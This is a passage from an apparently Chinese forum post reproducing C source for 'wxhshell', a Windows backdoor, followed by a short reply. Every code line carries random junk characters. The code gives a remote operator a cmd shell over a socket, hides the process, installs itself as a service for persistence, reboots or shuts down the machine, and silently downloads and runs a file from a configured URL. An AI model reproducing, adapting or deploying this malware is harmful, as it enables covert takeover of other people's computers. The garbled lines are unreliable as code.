  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bpOYHc6,*`  
  if(DownloadFile(cmd,wsh)) 'g">LQ~a+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Y?#Sl*  
  else e- ~N"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AKY1o.>z  
  } w{{gu1#]G  
  else { |+{)_?  
&U{#Kt5q  
    switch(cmd[0]) { C/_ZUF(V  
  )n1_(;  
  // 帮助 Tg7an&#  
  case '?': { FX;QG94!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N(O9&L*4fm  
    break; %9 SJ E  
  } #9=Vg  
  // 安装 '%>=ZhO  
  case 'i': { :v YYfs&  
    if(Install()) 4aug{}h("  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Hx0`Nc K  
    else tCw<Ip  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *}Xf!"I#]N  
    break; l(yZO$  
    } LmRy1T,act  
  // 卸载 'Oxy$U   
  case 'r': { oph}5Krd)  
    if(Uninstall()) ;^+\K-O]c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .7^c@i[  
    else .4S.>~^7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]z;P9B3@&  
    break; 6S},(=  
    } sZ'nY o  
  // 显示 wxhshell 所在路径 E!;SL|lj.  
  case 'p': { XYQ/^SI!:  
    char svExeFile[MAX_PATH]; wDw[RW3  
    strcpy(svExeFile,"\n\r"); SP@ >vl+;  
      strcat(svExeFile,ExeFile); pD(j'[  
        send(wsh,svExeFile,strlen(svExeFile),0); Fzm*Pz3  
    break; FOb0uj=(v  
    } 8bxfj<O,  
  // 重启 O8^A5,2@3>  
  case 'b': { ,yC-+VL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #OZ>V3k  
    if(Boot(REBOOT)) N>Xo_-QCY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \TIT:1  
    else { j 'FVz&  
    closesocket(wsh); ?}qttj  
    ExitThread(0); '|ad_M  
    } Ig$(3p  
    break; ?llXd4  
    } i|c'Lbre`  
  // 关机 y+Ra4G#/}  
  case 'd': { Y y5h"r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }~2LW" 1'  
    if(Boot(SHUTDOWN)) \1d (9jR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :X"?kK0V  
    else { E~,F  
    closesocket(wsh); Q[Z8ok  
    ExitThread(0); ih)zG  
    } $Y;U[_l#  
    break; v/@^Q1 G/:  
    } ?yZ+D z\  
  // 获取shell j 7fL7:,T  
  case 's': { $yN{-T"  
    CmdShell(wsh); K'55O&2  
    closesocket(wsh); #:jHp44J  
    ExitThread(0); :1^LsLr5  
    break; ><RpEnWZ<  
  } G, 44va  
  // 退出 p5Z"|\  
  case 'x': { ~3^ 8>d/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YD <:,|H   
    CloseIt(wsh); Mo y <@+  
    break; svsqg{9z  
    } @>u}eB>Kn  
  // 离开 ,NOsFO-`<  
  case 'q': { ~Io7]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D!@Ciw  
    closesocket(wsh); Yf:IKY  
    WSACleanup(); 5c9^-|-T  
    exit(1); ^"2i   
    break; 7jxslI&F  
        } ?:pP8/y  
  } ~Uj=^leYO  
  } *RDn0d[  
2SD`OABf#  
  // 提示信息 Ut*`:]la  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c7<wZ  
} u$h 4lIl  
  } QaS1Dh  
8k2?}/+  
  return; F7 5#*  
} ?e` ^P   
# Nk;4:[  
// shell模块句柄 *7:>EP  
int CmdShell(SOCKET sock) \jh'9\  
{ >/g#lS 5  
STARTUPINFO si; +"x,x  
ZeroMemory(&si,sizeof(si)); wHzEMwY_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !-ok"k0,u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6 rh5h:  
PROCESS_INFORMATION ProcessInfo; \"qY"V  
char cmdline[]="cmd"; Vl5`U'^qx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b v G/|U  
  return 0; T m,b,hi$  
} 2- &k^Gl!:  
<x@}01 ~  
// 自身启动模式 YO#M/%^j  
int StartFromService(void) =w;F<M|Y  
{ :Uz|3gq  
typedef struct O&vVv _zh  
{ ?*2CpM&l  
  DWORD ExitStatus; &?W0mW(  
  DWORD PebBaseAddress; lun#^J  
  DWORD AffinityMask; 1uG"f<TsR  
  DWORD BasePriority; "&%I)e^  
  ULONG UniqueProcessId; 0+iu(VbF  
  ULONG InheritedFromUniqueProcessId; Y}x>t* I  
}   PROCESS_BASIC_INFORMATION; ht7l- AK  
00'%EYO  
PROCNTQSIP NtQueryInformationProcess; :X0k]p  
%WSo b@f8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V\t.3vT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BD68$y  
4 kn|^  
  HANDLE             hProcess; (gEBOol  
  PROCESS_BASIC_INFORMATION pbi; N< |@ymi  
kEJj=wx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Mxe}B'  
  if(NULL == hInst ) return 0; 5G::wuxk  
S-P/+K6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e_#._Pi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5}:-h>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?u-|>N>  
PbW(%7o(t  
  if (!NtQueryInformationProcess) return 0; =V-A@_^!c  
a,xycX:U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uH/J]zKR  
  if(!hProcess) return 0; Z&#('Z  
0M*Z'n +  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S\4tzz @  
B&\IGWG(  
  CloseHandle(hProcess); FR$:"  
W6f/T3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4S5,w(6N  
if(hProcess==NULL) return 0; j\,EO+ZQCv  
&wi e]  
HMODULE hMod; Uhe=h&e2k@  
char procName[255]; V}bjK8$$  
unsigned long cbNeeded; 4y)P>c  
| 1E|hh@k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mlixIW2  
?a8^1:  
  CloseHandle(hProcess); <d,b'<z s  
y6LWx:  
if(strstr(procName,"services")) return 1; // 以服务启动 lH-/L(h2  
Z9:-rcr  
  return 0; // 注册表启动 M|6A0m#Q  
} [ OM7g'?S0  
rv &<{@AS~  
// 主模块 _hN\10ydY  
int StartWxhshell(LPSTR lpCmdLine) G.rrv  
{ XR+Y=R  
  SOCKET wsl; Kw -gojZ  
BOOL val=TRUE; $@"l#vJPfc  
  int port=0; Y -pzy']4  
  struct sockaddr_in door; .JYaH?  
UADFnwR[R  
  if(wscfg.ws_autoins) Install(); IT(lF  
Rd2qe /  
port=atoi(lpCmdLine); #,,d>e  
L_vISy%\b  
if(port<=0) port=wscfg.ws_port; U[SaY0Z  
6""G,"B  
  WSADATA data; wN`jE0 {  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]j'p :v  
q ]M+/sl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i'4B3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w,w{/T+B  
  door.sin_family = AF_INET; j:5=s%S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :ZTc7 }  
  door.sin_port = htons(port); :axRoRg  
xGu r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PfreAEv,  
closesocket(wsl); 5i> $]*o  
return 1; !;0U,!WI  
} 9  TvV=  
-}=i 04^  
  if(listen(wsl,2) == INVALID_SOCKET) { |rJ=Ksc  
closesocket(wsl); !+1<E*NQ S  
return 1; uZc`jNc\  
} .l>77zM6  
  Wxhshell(wsl); #z&& M"*a|  
  WSACleanup(); 4xk|F'6K  
uv=.2U46  
return 0; } E0,z  
.Si,dc\  
} )0ea+ ib  
(5#nrF]  
// 以NT服务方式启动 NPCs('cd>?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "l*Pd$sr  
{ fF?z|  
DWORD   status = 0; N"8_S0=pw  
  DWORD   specificError = 0xfffffff; #.it]Nv{  
M:-.o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |zR8rqBX;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MNC*Glj=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CsTF  
  serviceStatus.dwWin32ExitCode     = 0; 9;_sC  
  serviceStatus.dwServiceSpecificExitCode = 0; 1nQWW9i  
  serviceStatus.dwCheckPoint       = 0; b?TO=~k,  
  serviceStatus.dwWaitHint       = 0; ?3*l{[@J  
z54EG:x.7^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /e7O$L)   
  if (hServiceStatusHandle==0) return; (5R?#vj  
+s,Qmmb7)  
status = GetLastError(); /4c\K-Z;  
  if (status!=NO_ERROR)  Jd%H2`  
{ Fz1_w$^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f#?fxUH~  
    serviceStatus.dwCheckPoint       = 0; I|>^1kr8w  
    serviceStatus.dwWaitHint       = 0; 94+KdHAo^M  
    serviceStatus.dwWin32ExitCode     = status; wT `a3Ymm  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q7R~{5r>W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j<u@j+V  
    return; vg D77  
  } j:k[90  
'`eO\huf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KMU4n-s"o  
  serviceStatus.dwCheckPoint       = 0; \=uKHNP?#  
  serviceStatus.dwWaitHint       = 0; "ul {d(K3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]3VI|f$$  
} <1FC%f/  
E0u~i59Z  
// 处理NT服务事件,比如:启动、停止 29!q!g|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ? %`@ub$  
{ w S4.8iJ  
switch(fdwControl) BDq%'~/^  
{ 9:,V5n=  
case SERVICE_CONTROL_STOP: &Rx{.9  
  serviceStatus.dwWin32ExitCode = 0; aemc2b*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /x5rf  
  serviceStatus.dwCheckPoint   = 0; VCn{mp*h  
  serviceStatus.dwWaitHint     = 0; LM}Ib.  
  { `|,`QqDQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HR ;)|j{!  
  } aCQ?fq  
  return; >Y #t`6,!  
case SERVICE_CONTROL_PAUSE: 3T"j)R_=l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; > `n,S  
  break; m\$\ 09  
case SERVICE_CONTROL_CONTINUE: P^w#S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v1%uxthW  
  break; g{8,Wx,,  
case SERVICE_CONTROL_INTERROGATE: 1jN-4&  
  break; mMb'@  
}; UG)8D5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QS{1CC9$  
} W0epAGrB  
3~}uqaGt  
// 标准应用程序主函数 T{Sb^-H#X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /RHo1  
{ /[Z,MG  
ZHGC6a!a  
// 获取操作系统版本 )=AHf?hn  
OsIsNt=GetOsVer(); b!sRk@LGZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :lB=L r)  
O)ME"@r@:  
  // 从命令行安装 'h^0HE\~p  
  if(strpbrk(lpCmdLine,"iI")) Install(); MxGu>r  
j:E<p_T  
  // 下载执行文件 KnsT\>[K  
if(wscfg.ws_downexe) { qW!]co  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s<oNE)xe  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1_\;- !t  
} J.ck~;3  
% !du,2  
if(!OsIsNt) { 6ek;8dL  
// 如果时win9x,隐藏进程并且设置为注册表启动 e'0{?B  
HideProc(); \|E^v6E%0  
StartWxhshell(lpCmdLine); AgFVv5  
} -PS#Z0>  
else ve% xxn:  
  if(StartFromService()) =|I>G?g-  
  // 以服务方式启动 |lJX 3  
  StartServiceCtrlDispatcher(DispatchTable); \>C YC|  
else @6mBqcE'?  
  // 普通方式启动 d!:6[7X6  
  StartWxhshell(lpCmdLine); xZ4~Oo@@_'  
Z00+!Tnd  
return 0; du)~kU>l  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八